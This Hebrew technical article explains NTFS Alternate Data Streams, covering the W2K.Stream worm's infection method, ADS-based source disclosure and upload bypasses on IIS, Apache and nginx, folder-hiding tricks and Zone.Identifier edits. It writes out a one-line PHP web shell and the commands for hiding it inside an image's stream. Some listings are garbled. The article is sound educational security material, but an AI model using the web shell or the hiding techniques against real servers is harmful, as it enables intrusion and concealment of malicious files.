
 

NTFS ADS Magic Tricks 

 (cp77fk4r) אפיק קסטיאל :מאת

 

 הקדמה

פגעה ש, "W2K.Stream"את המאמר הזה החלטתי לכתוב לאחר פגישה מקרית עם התולעת הישנה 

שיחה מעניינת עם בחור לאחר , אבל לאחרונה, בזמנו לא שמעתי עליה. Windows 2000במערכות 

 .מעניין יצא לי להשיג את הבינארי של המנוע שלה ולראות אותה בפעולה

 

אבל בתקופה שבה היא נכתבה מדובר היה , אין לה סיכוי לשרודמפני ש כיום כמעט ולא מדובר באיום

חוקרי . נראיתהתולעת הייתה כמעט בלתי  – ובעזרת הכלים שהיו קיימים אז, בחידוש טכנולוגי די מורגש

שהופץ בכדי לראות איך העולם מתמודד " PoC"-הוירוסים שחקרו את התולעת חושדים שמדובר רק ב

 .(ככל הידוע לי)איתה מפני שהיא לא עשתה כמעט נזק 

שמוכרת  NTFSבמערכת הקבצים ( ?מישהו אמר חולשה)ר 'מדובר בתולעת הראשונה שניצלה את הפיצ

 .(Alternate Data Stream: ראשי תיבות של) ADS-כיום כ

 

דרך ההשרדות הראשית של התולעת ומנגנון ההפצה שלה עבדו באופן כזה שלאחר הרצה ראשונית 

העתקת כלל התוכן הבינארי של קובץ ההרצה המקורי : יא הייתה מדביקה קבצי הרצה באופן הבאה, השל

התולעת ולאחר מכן מחיקת דריסה של התוכן המקורי של הקובץ בקוד , TEMP-לקובץ זמני בתיקיית ה

. בתוך הקובץ המקורי STRבשם ( ADS)הקובץ הזמני והעברת התוכן הבינארי שלי לזרם מידע חלופי 

רץ הקוד של התולעת ובסוף הריצה שלו ( Explorer.exeלדוגמא )בכל פעם שמשתמש מריץ את הקובץ 

 :משהו בסיגנון הבא .CreateProcessבעזרת  STR-מריץ את הקוד שנמצא ב

 

 :העתקת תוכנו של היעד לקובץ זמני :שלב ראשון

 

 :דריסת תוכן קובץ היעד עם קוד התולעת: שלב שני
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 :בקובץ המודבק STRבשם  ADS-ל( המקורי של קובץ היעד התוכן)העתקת הקובץ הזמני : שלב שלישי

 

 

ריצתו לקרוא לקובץ קוד הוירוס שיודע לאחר תגרום להרצה של , הנגוע Notepad.exe הרצה של כל, כעת

 .STRבשם , ADS-שמאוחסן אצלו תחת ה

 

 .ניתן לבצע בקלות על כל קובץ בינארי ולא דורש אנליזה של קובץ היעד, גנרי ופשוט :נותיתרו

גם כלי , בנוסף .מערכת הקבצים תציג את משקל התולעת ולא את משקל הקובץ המקורי :חסרונות

סריקת וירוסים רגילה והשוואה מול מאגר  :להתמודד עם איום שכזהוירוס שהיו קיימים אז ידעו -האנטי

 .חתימות יזהה בקלות רבה את התולעת

 

על ידי הזרקת קוד בינארי , ל באופן קצת יותר איכותי"אישית אני חושב שניתן לממש את הרעיון הנ

ואז שינוי קטן , בקובץ שאותו רוצים להדביק STRהזרקת קוד התולעת לזרם החלופי תחת : קלאסי

-יבצע הרצה של המידע שקיים ב( EP)בזרימה הבינארית של הקובץ כך שממש אחרי נקודת הכניסה שלו 

STR. אם אנטי וירוס ללא מנגנון סריקת , כך בעצםADS הוא לא מוצא משהו חשוד – סורק את הקובץ. 

שבו  מקרה הראשוןבניגוד ל: בגודל הקובץ( כמעט)ינוי ינת מערכת הקבצים אין שום שמבח, בנוסף לכך

במקרה שלנו היא תציג את גודל הקובץ המקורי פלוס , מערכת הקבצים תציג את גודל הקובץ של התולעת

 :משהו בסיגנון הבא .מספר ביטים קטן

 

 :העתקת תוכנה של התולעת לקוד היעד תחת זרם מידע חלופי :שלב ראשון

 

 :ADS-כך שידע להריץ את הקוד הקיים ב Entry Point-קובץ היעד בסביבת ה שכתוב קוד: שלב שני
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תגרום להרצה של קוד הוירוס שיודע לאחר ריצתו להריץ את , הנגוע Notepad.exeכל הרצה של , כעת

 .הקובץ המקורי

מספר + מערכת הקבצים מראה את הגודל המקורי של קובץ היעד , הרבה יותר קשה לזיהוי :יתרונות

 .חלופיים בזרמיםלהתמודד עם מידע השמור בזמנו יכולים וירוס לא היו -ב כלי האנטיור, ביטים נוספים

 .דורש ניתוח של קובץ היעד והמימוש בכל קובץ וקובץ שונה, לא גנרי בכלל :חסרונות

 

לא מאפשרות לבצע הרצת קבצים ( תודה לאל)ומערכות ההפעלה כיום  מדובר בהיסטוריה, בכל אופן

עדיין קיימים מספר דברים די מגניבים שמעניין וכדאי , ובכל זאת, ישירות מהזרמים החלופיים של הקבצים

 .במאמר זה אציג את המעניינים שבהם. להכיר

 

ADS 

 ?אז מה הם בעצם אותם זרמי מידע חלופיים

תלוי במערכת , Data Fork-וResource Fork -מוכר גם כ)" Fork"במערכות קבצים קיים מושג בשם 

, Forksלכל אובייקט יכול להיות מספר רב של , של אובייקט במערכת Metadata-המתייחס ל( הקבצים

ל קוראים "לאובייקטים הנ NTFSבמערכת הקבצים , שונה על הקובץ Metadataכל אחד יכול לשמור 

ADS (ראשי תיבות של, כאמור :Alternate Data Stream.)  מערכת הקבציםNTFS  התחילה דרכה

 .1994ותחילת שנת  3991לקראת סוף שנת  Windows NT-במקביל להתחלת דרכן של מערכות ה

 

 :בנוי באופן הבא NTFS-מבנה הקובץ ב

filename.extetsion:data_stream_name:$DATA  

 

אם נפתח את , "DATA$"הוא מאוחסן באופן דיפולטיבי בזרם מידע בשם , מידע בקובץכאשר אנו שומרים 

 :שורת הפקודה ונריץ את הפקודה הבאה

echo Digital Whisper > test.txt 

 

 .test.txtיווצר לנו קובץ חדש בשם 

 :את הפקודה הבאה, אם נכתוב בשורת הפקודה

more < test.txt 

 

 :נקבל כמובן את הפלט

Digital Whisper 
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אנחנו נקבל את אותו הפלט גם אם נכתובת את , "$DATA"מפני שהמידע נשאר דיפולטיבית בזרם 

 :הפקודה הבאה

more < test.txt::$DATA 

 

מערכת הקבצים יודעת לזהות את זרם המידע הדיפולטיבי  ,(echo)כאשר הרצנו את פקודת הכתיבה 

($DATA )ולהגדיר למערכת לאיזה זרם מידע אנו מעוניינים לכתוב באופן אנו יכולים לשלוט . ולכתוב אליו

 :הבא

echo Secert > test.txt:HiddenStream.txt 

 

 :ולכן יוצג לנו, אנו נראה את תוכן הזרם הדיפולטיבי – רגילונציג את תוכן הטקסט באופן במידה , כעת

Digital Whisper 

 

 :בעזרת הפקודה הבאה למשל ,שיצרנונוכל גם להציג את המידע המאוחסן בזרם אך 

More < test.txt:HiddenStream.txt:$DATA 

 

 :או אפילו בעורך הטקסט המעודף עלינו

notepad test.txt:HiddenStream.txt 

 

גודל  תהיא שהיא מציגה לנו את גודל הקובץ על ידי בדיק NTFSאחד החסרונות של מערכת הקבצים 

ניתן לנצל זאת בדיוק  .(במידה ויש)מבלי לבדוק את שאר הזרמים , המידע המאוחסן בזרם הדיפולטיבי

 .W2K.Streamכמו שעשתה 

   .ניתן להעתיק תוכן של קבצים שלמים ולאחסן אותם מבלי ליצור חשד

 :באופן הבא test.txtלתוך הקובץ שלנו  notepad.exeאם אעתיק את הקובץ  ,לדוגמא

type c:\Windows\notepad.exe > test.txt:notepad.exe 

 

 :נוכל לראות שמצד אחד גודל הקובץ נשאר בגודלו לפני העתקה

C:\test>dir 

 Volume in drive C is n 

 Volume Serial Number is 5A75-7CCD 

 

 Directory of C:\test 

 

01/29/2011  05:08 AM    <DIR>          . 

01/29/2011  05:08 AM    <DIR>          .. 

01/29/2011  05:26 AM                20 test.txt 

               1 File(s)             20 bytes 

               2 Dir(s)  13,028,593,664 bytes free 

 

C:\test> 
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 :הפקודה על ידי, אם נבקש לראות איזה מידע מוצג באותו זרם חלופי שיצרנו, אך מצד שני

More < test.txt:notepad.exe 

 

 .נוכל לראות כי אכן המידע קיים

 

 ADS-היה להריץ קבצים שלמים שאוחסנו בניתן אף  Windows 2000במערכת ההפעלה כי חשוב לציין 

" Virus.exe"אז המצב היה גרוע הרבה יותר מפני שבמידה והיינו מריצים קובץ בשם . שאינם דיפולטיבים

היה מדווח כי  Windows Task Manager-רכיב ה, "NotVirus.exe"בקובץ  ADSשמאוחסן על גבי 

כדלת אחורית על  Netcat.exeהדוגמא הקלאסית הייתה הרצת  .הוא זה שרץ" NotVirus.exe"התהליך 

 .אחר Processתחת  Windowsמערכות 

 

...( NTBugtraq-למען האמת ב) Bugtraq-פרסם ב Paul Ashtonבחור בשם , 3991-ב, בנוסף לכל זה

  IISעל שרתי  ASPי שאיפשרה לצפות בקוד המקור של קבצ (MS98  /0278-1999-CVE-003)חולשה 

 :לאחר שם העמוד" DATA$::"-על ידי הוספת ה NTמבוססי 

http://server/aspfile.asp::$DATA 

 

בגרסאות  nginxשמצא את אותה החולשה בשרתי  פרסם Jose A.Vazquez בחור בשם, שנה שעברה

 .NTFSכמובן רק במידה והשרת מאוחסן על מערכת הקבצים . ומטה 0.8.39

 

הרצים על מערכת קבצים )ישנים ( Apache-ו IIS) HTTPחולשה מעניינת נוספת שנמצאה בשרתי 

NTFS ) הייתה שאם היינו מבקשים מהשרת(דרך ה-URL)  לגשת ל-ADS הוא היה  -של קובץ מסויים

ל ניתן היה לנצל בכדי לתקוף מנגנוני העלאת קבצים שאינם "את הדבר הנ. מאפשר לנו לעשות זאת

 (.'וכו ASPכגון קבצי )מאפשרים לנו להעלות קבצים בעלי תוכן אשר יכול לפגוע בשרת 

 :ניצול התקיפה היה מתבצע באופן הבא

שהשרת כן ( picture.jpgלמשל בשם )ה תמונה רגילה לחלוטין הראשון תמונ: היינו יוצרים שני קבצים

 .מאפשר לנו להעלות

 :המכיל את הקוד הבא( backdoor.phpלמשל בשם )שיאפשר לנו להשתלט על השרת  phpוהשני קובץ 

 

<?php echo system($_GET['cmd']); ?> 

 

 :של קובץ התמונה באופן הבא ADSאת הקובץ הזדוני על " מלבישים"היינו 

type backdoor.php > picture.jpg:backdoor.php 

 

 

http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0278
http://www.exploit-db.com/exploits/13822/
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 :וניגשים אליו באופן הבא, מעלים את קובץ התמונה לשרת

http://www.reallyoldserver.com/uploaded_images/picture.jpg:backdoor.php 

 

 ...יש לנו דלת אחורית על השרת -וזהו

 

 Vista-מ .בקבצים ADSלא היו כלים מובנים למציאת  ,Vistaערכת ההפעלה עד מעוד דבר חשוב הוא ש

 :ולקבל פלט בסיגנון הבא "R/"עם הפרמטר  Dirניתן להריץ את הפקודה 

C:\test>dir /R 

 Volume in drive C is n 

 Volume Serial Number is 5A75-7CCD 

 

 Directory of C:\test 

 

01/29/2011  03:14 PM    <DIR>          . 

01/29/2011  03:14 PM    <DIR>          .. 

01/29/2011  03:14 PM                 4 test.txt 

                                     4 test.txt:HiddenStream1.txt:$DATA 

                                     4 test.txt:HiddenStream2.txt:$DATA 

               1 File(s)              4 bytes 

               2 Dir(s)  11,852,492,800 bytes free 

 

ולבצע עליו  ADS-וירוס מסוגלות לזהות את המידע הקיים ב-ב המוחלט של חברות האנטיוהר, בנוסף לכך

 .סריקות כאילו מדובר בזרם המידע הדיפולטיבי

 

ADS בתיקיות? 

 

כאשר  ADS-תומכת גם ב NTFS-אך מערכת ה, כאשר כותבים לתוך קובץ ADS-ו שימוש בעד כאן ראינ

אך אני , שימוש ברעיון זה ותנכון לכתיבת שורות אלו עדיין לא ראיתי תולעים שמבצע .מדובר בתיקיות

 :אציג דוגמאות, במקום להסביר ולהעריך בפרטים. מאמין שהדבר קיים

 

 ":test1"תיקיה חדשה בשם  וצרו בה" test"כנסו שוב לתיקיה 

C:\test>md test1 

 

 ":test1.:$i30:$Index_Allocation"צרו תיקיה נוספת בשם , לאחר מכן

C:\test>md test1.:$i30:$Index_Allocation 
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 :תראו שהמצב נראה כך, על התיקיה הנוכחית "dir"אם תבצעו 

C:\test>dir 

Volume Serial Number is 5A75-7CCD 

 Directory of C:\test 

 

 94:10  9492092944PM    <DIR>.           

 94:10  9492092944PM    <DIR>..           

 94:19  9492092944PM    <DIR>          test1 

 94:10  9492092944PM    <DIR>          test1. 

 9               File(s)              0 bytes 

 1               Dir(s)  12,920,336,384 bytes free  

מערכת , "test1.:$i30:$Index_Allocation: "תראו שלמרות שביקשנו ליצור תיקיה בשם, אם תשימו לב

 .נחזור לזה בקרוב? מה קרה לשאר שם התיקיה". .test1"הקבצים יצרה לנו תיקיה בשם 

עכשיו כנסו לתיקיה ". txt.123"וצרו בה קובץ חדש בשם  "test1"כנסו לתיקיה : שימו לב לדבר הבא

"test1." – אם תמחקו את הקובץ מהתיקיה : יותר מזה! הקובץ מופיע גם בה"test1." , תראו שהוא גם

 ". test"יימחק מהתיקיה 

 ! ?אז מה לעזאזל קורה פה

הקבצים ליצור את כאשר הורנו למערכת , למי שעוד לא ניחש :וההסבר אליה הוא פשוט, שאלה טובה

וכל מה שמגיע " .test"הורנו לה בעצם ליצור תיקיה בשם , test1.:$i30:$Index_Allocation""התיקיה 

 .שאליו אנו פונים ADS-מורה על ה":" -לאחר ה

היא "." -וה, testאנו בעצם מורים למערכת הקבצים לגשת לתיקיה  ".test"אנו נכנסים לתיקיה כאשר 

מורה ".." בדיוק כמו שהתיקיה )שמורה למערכת הקבצים על תוכן התיקיה ( תיקיהשקיימת בכל )תיקיה 

-היא תפנה ל" ...test"ולכן אם שם התיקיה יהיה , למערכת הקבצים על התוכן של תיקיה אחת למעלה

"test.. "ל( בכתיבה וקריאה)החלק המגניב הוא שאנו עדיין יכולים להתייחס  (.'וכו-ADS  שיצרנו בתיקיה

 . ל"הנ

 : אם נכתוב בשורת הפקודה

C:\test>cd test1.:$i30:$Index_Allocation 

 

 .לכתוב אליה קבצים ולמחוק ממנה קבצים, נראה שאנחנו יכולים להתייחס אליה כאל תיקיה רגילה

ייר הקבצים של מערכת או ס דרך המעטפת" test"אם נכתוב אליה קובץ טקסט פשוט ונכנס לתיקיה 

" .test1"-אם נבחר לגשת ל .".test1"-ו "test1"נוכל לראות שם התיקיות  ,("explorer.exe")ההפעלה 

מערכת " .test1"-וננסה לגשת ל "test1"אם נמחק את , אגב" )test1"התוכן שיוצג לנו יהיה התוכן של 

 :באופן הבא, אבל אם ניגש לתיקיה דרך שורת הפקודה( הקבצים תחזיר לנו שגיאה כי הנתיב אינו קיים

C:\test>cd test1.:$i30:$Index_Allocation 

 .נוכל לראות את התוכן המקורי שהסתרנו בה
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 Soroush Daliliחוקר האבטחה  במקרה שהציגורית לשימוש במנגנון הזה נוכל לראות דוגמא מאוד מק

לתיקיה ו "Folder/"ל הרעיון מתבסס על העקרון ששליחת בקשה לתיקיה "במקרה הנ, (כאן כתבתי עליו)

Folder:$i30:$INDEX_ALLOCATION / מתפרשות על ידי השרת כשליחת בקשה לתיקיה"/Folder" ,

שתי המחרוזות שונות זו ( -שמתבסס על שמות התיקיות ולכן מבחינתו)השרת  אך במנגנון ההזדהות של

ניתן לעקוף את מנגנון ההזדהות ולגשת למידע המאוחסן בתיקיות הדורשות הזדהות מקדימה מבלי  -מזו

 .לבצע הזדהות כלל

 

Zone.Identifier 

 

 .מערכות ההפעלה שלהןמיקרוסופט הכניסו קונספט שעד כה לא היה ב ,XPשל מערכת ההפעלה  SP2-ב

מערכת הקבצים מוסיפה לו  ,NTFSקובץ מהאינטרנט למערכת הקבצים הרעיון הוא שכאשר מורידים 

 :ל"כמו בדוגמא הנ, "ZoneId=3"עם הערך " Zone.Identifier"בשם  ADSבאופן אוטומטי 

C:\test>dir /r 

 Volume Serial Number is 5A75-7CCD 

 

Directory of C:\test 

9492092944  91:91 PM    <DIR>. 

9492092944  91:91 PM    <DIR<.. 

9492092944  91:91 PM           151,040 notepad.exe 

                                    22 notepad.exe:Zone.Identifier:$DATA 

               4 File(s)        151,040 bytes 

               2 Dir(s)  13,557,309,440 bytes free 

 

 :ואז

C:\test>more < notepad.exe:Zone.Identifier 

]ZoneTransfer[ 

ZoneId=3 

 

 :File Properties-כאשר מציגים את ה ,באופן הבא הדבר מתבטא, בממשק הויזואלי

 

 

 

http://soroush.secproject.com/downloadable/IIS5.1_Authentication_Bypass.pdf
http://www.digitalwhisper.co.il/0x24/
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ננסה להריץ כאשר , לא יוכלו לרוץ מבלי אינטרקציה של המשתמש ZoneID=3הרעיון הוא שקבצים בעלי 

 :מערכת ההפעלה תקפיץ לנו את ההודעה הבאה, ל"קובץ המאופן באופן הנ

 

 .ורק לאחר אישור המשתמש הקובץ יוכל לרוץ

 :כך ש, 4עד  3-יכול להיות שווה לערך מ Zoneid-ה

 3 – מציין כי הקובץ הגיע מאיזור שנמצא ב-URLZONE_INTRANET. 

 2 –  במציין כי הקובץ הגיע מאיזור שנמצא-URLZONE_TRUSTED. 

 1 – מציין כי הקובץ הגיע מאיזור שנמצא ב-URLZONE_INTERNET. 

 4 – מציין כי הקובץ הגיע מאיזור שנמצא ב-URLZONE_UNTRUSTED. 

שהקובץ אכן  File Properties-מערכת ההפעלה תציין ב, 2או  3-של הקובץ ל Zoneid-אם נשנה את ה

לא נוכל , 4-ל Zoneid-אם נשנה את ה, לעומת זאת .ו בהרצתואך לא תגביל אותנ, הגיע ממקור חיצוני

 .ADS-להריץ את הקובץ עד שנאפס את ה

 :באופן הבא Zondid-נוכל לשנות את ה

C:\test>echo [ZoneTransfer] > notepad.exe:Zone.Identifier 

C:\test>echo ZoneId=4 >> notepad.exe:Zone.Identifier 

 

 :נקבל את ההודעה הבאה, בעת הרצה של קובץ כזה
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 :לא נוכל להריץ את הקובץ ADS-וכל עוד לא נאפס את ה

 

 

 סיכום

כאשר משתמשים בהם בצורה  .זרמי מידע חלופיים הם נישה מאוד מעניינת בעולם מערכות הקבצים

חובה להיות מודעים גם לצדדים הפחות מוכרים שלהם בכדי , אך כמו שראינו, נכונה הם יכולים להועיל לנו

 .להכיר את המקומות בהם כל מני מזיקים ותוקפים יכולים לבצע שימוש

 


